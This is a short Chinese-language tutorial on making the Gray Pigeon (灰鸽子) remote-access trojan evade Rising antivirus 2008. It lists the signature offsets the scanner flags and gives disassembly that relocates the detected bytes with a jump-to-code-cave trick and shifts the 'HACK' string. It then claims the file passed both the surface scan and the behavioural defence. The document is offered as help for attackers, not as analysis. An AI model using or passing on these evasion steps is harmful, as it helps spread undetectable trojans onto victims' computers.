灰鸽子最新免杀演示教程-过瑞星2008主动防御今天给大家带来的教程是黑防灰鸽子免杀教程-过瑞星2008过表面和主动防御

教程开始，特征定位我就给省略了，这节课的重点是特征码的修改

先用瑞星杀一下，肯定是杀的

瑞星
[特征] 0009A766_00000002  0049B366

我们用跳转法

  0049B363   .  84C0          test    al, al
  0049B365   .  75 0D         jnz     short 0049B374
  0049B367   .  33C0          xor     eax, eax
  0049B369   .  跳回的地址

  0040853C      00            db      00  零区

这处特征码修改完了

[特征] 0009A992_00000002  0049B592   hack

大家看到了吧!定位到字符串上了，大小写转换是不行的还会被杀，下面看我操作哦。

可算找到了，双击它

004994E5   .  E8 CAAEF6FF   call    004043B4

004994EA   >  B8 90B54900   mov     eax, 0049B590                    ;  ASCII "HACK"

这个mov指令把HACK 传递给了eax，我们看看0049B590     这里是什么？
原来这就是HACK的地址我们把它给下移一位。

0049B590    48              dec     eax
0049B591    41              inc     ecx
0049B592    43              inc     ebx
0049B593    4B              dec     ebx

修改完毕了
我们来杀一下

看到了吗，过了瑞星的表面了

下面在是是主动

激动人心的时刻来了

看到哦 ，过了瑞星的主动。呵呵